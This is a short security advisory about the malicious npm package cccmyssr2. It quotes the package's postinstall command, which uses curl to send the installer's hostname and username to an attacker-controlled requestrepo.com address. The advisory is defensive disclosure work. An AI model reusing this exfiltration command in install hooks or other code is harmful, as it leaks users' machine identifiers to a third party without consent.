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OpenAdvisories
Malicious MAL-2026-6391

cccmyssr2

npm package · versions 1.0.0

Reported Jun 24, 2026 · Updated Jun 24, 2026

If this package is installed

Remove it, treat the machine (or CI runner) as compromised, and rotate every secret, token and key it could access — from a different, clean machine.

Details

Source: amazon-inspector (bd052408bb36e56e940e50ba81f7054844bc91dc0b32eaead5d15ca67f9b5c03)
On `npm install`, the package's postinstall.js executes `curl "http://r1x55270.requestrepo.com/pre?h=$(hostname)&u=$(whoami)"`, transmitting the installer's hostname and username over plain HTTP to an attacker-controlled requestrepo.com subdomain (a known DNS/HTTP exfiltration canary service). The package otherwise has no real functionality: index.js is a trivial 3-line date stub, package.json carries placeholder metadata ("A harmless utility package", empty author). The lifecycle hook fires automatically during install without consent, leaking host identifiers to a third party. This is the standard install-time reconnaissance/exfiltration shape.